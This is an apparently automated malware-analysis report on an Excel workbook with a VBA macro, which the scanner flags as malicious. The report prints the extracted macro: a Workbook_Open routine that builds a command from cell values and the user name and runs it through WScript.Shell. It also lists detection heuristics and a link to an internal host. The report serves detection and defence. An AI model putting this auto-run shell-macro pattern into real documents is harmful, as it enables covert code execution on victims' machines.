Office (OOXML) malware analysis — malicious · e5e23be46d89b37f

MALICIOUS

Office (OOXML)

20.0 KB Created: 2021-02-26 19:48:51 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-06-20

MD5: e9d705cf5e24889f59e52ab8c182832b SHA-1: 943dace517601ad09648bdff854b9265eda0a515 SHA-256: e5e23be46d89b37f289687f760d79d2a979c6a69833288e78af6ef216cd962ab

278 Risk Score

Heuristics 9

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Dim Shell As Object
```
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
Set Shell = CreateObject("Wscript.Shell")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set Shell = CreateObject("Wscript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS

Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: http://10.2.50.142:8080/?rid=
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://10.2.50.142:8080/?rid= Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	995 bytes
SHA-256: `352d22eb85deb19f9986cc2bcf8e19f57b78f6d6b30290164810587fe968da82`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "DieseArbeitsmappe" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Dim Msg Dim Shell As Object Set Shell = CreateObject("Wscript.Shell") Dim var As String Dim var3 As String var1 = Range("A1").Value var2 = Range("A2").Value var3 = Application.UserName UserName = Replace(var3, " ", "") var = var2 + var1 + UserName Shell.Run (var) MsgBox "Test nicht bestanden" MsgBox "Current user is " & UserName End Sub Attribute VB_Name = "Tabelle1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	16896 bytes
SHA-256: `7211f8f6a4b32dbbcee898a3e1691691aee21afbe0bfd24cd4146cb24f6ee86f`

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